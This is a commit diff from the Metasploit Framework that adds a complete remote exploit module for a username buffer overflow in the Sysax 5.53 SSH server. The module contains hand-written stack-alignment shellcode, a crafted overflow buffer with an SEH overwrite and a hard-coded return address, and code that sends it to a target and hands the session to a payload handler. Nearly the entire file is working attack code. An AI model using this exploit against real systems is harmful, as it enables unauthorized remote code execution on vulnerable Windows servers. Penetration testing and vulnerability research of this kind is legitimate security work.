Add Sysax SSH buffer overflow exploit
parent
9f05562a18
commit
fa916d863d
|
@ -0,0 +1,153 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Sysax 5.53 SSH Username Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Sysax's SSH service. By
|
||||
supplying a long username, the SSH server will copy that data on the stack
|
||||
without any proper bounds checking, therefore allowing remote code execution
|
||||
under the context of the user. Please note that previous versions
|
||||
(before 5.53) are also affected by this bug.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Craig Freyman', #Initial discovery, PoC
|
||||
'sinn3r' #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
|
||||
['URL', 'http://www.exploit-db.com/exploits/18535/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => "\x00\x3a",
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# Win XP SP3 and Win2k3 SP0
|
||||
# POP/POP/RET - sysaxservd.exe
|
||||
['Sysax 5.53 on Win XP SP3 / Win2k3 SP0', {'Ret'=>0x00402669}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Feb 27 2012",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [false, 'The target port', 22])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def load_netssh
|
||||
begin
|
||||
require 'net/ssh'
|
||||
return true
|
||||
rescue LoadError
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
#
|
||||
# Load net/ssh so we can talk the SSH protocol
|
||||
#
|
||||
has_netssh = load_netssh
|
||||
if not has_netssh
|
||||
print_error("You don't have net/ssh installed. Please run gem install net-ssh")
|
||||
return
|
||||
end
|
||||
|
||||
#
|
||||
# Align the stack to the beginning of the fixed size payload
|
||||
#
|
||||
align = "\x54" #PUSH ESP
|
||||
align << "\x58" #POP EAX
|
||||
align << "\x04\x08" #ADD AL,0x08
|
||||
align << "\x8b\x18" #MOV EBX, [EAX]
|
||||
align << "\x93" #XCHG EAX,EBX
|
||||
align << "\x66\x2d\x10\x04" #SUB AX,0x361
|
||||
align << "\x50" #PUSH EAX
|
||||
align << "\xc3" #RET
|
||||
|
||||
#
|
||||
# Our payload limited to 1024+4 bytes
|
||||
#
|
||||
p = make_nops(4)
|
||||
p << payload.encoded
|
||||
|
||||
#
|
||||
# Craft the buffer like this:
|
||||
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
|
||||
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
|
||||
# for the IP length, so the next 9404-byte space will begin at a consistent place.
|
||||
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
|
||||
# partial-overwrite to allow a null byte in SEH.
|
||||
#
|
||||
buf = ''
|
||||
buf << rand_text(392, payload_badchars)
|
||||
buf << rand_text(20, payload_badchars)
|
||||
buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
|
||||
buf << p
|
||||
buf << align
|
||||
buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
|
||||
buf << [target.ret].pack('V*')
|
||||
|
||||
#
|
||||
# Send the malicious buffer
|
||||
#
|
||||
pass = rand_text_alpha(8)
|
||||
begin
|
||||
print_status("Sending malicious request to #{rhost}:#{rport}...")
|
||||
ssh = Net::SSH.start(
|
||||
datastore['RHOST'],
|
||||
buf,
|
||||
{
|
||||
:password => pass,
|
||||
:port => datastore['RPORT'],
|
||||
:timeout => 1
|
||||
})
|
||||
|
||||
::Timeout.timeout(1) {ssh.close} rescue nil
|
||||
|
||||
rescue Errno::ECONNREFUSED
|
||||
print_error("Cannot establish a connection on #{rhost}:#{rport}")
|
||||
return
|
||||
rescue ::Exception => e
|
||||
if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
|
||||
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
handler(ssh)
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not
|
||||
relying on net/ssh.
|
||||
|
||||
* Need a reliable stack pivot to rop out, haven't found one
|
||||
=end
|
Loading…
Reference in New Issue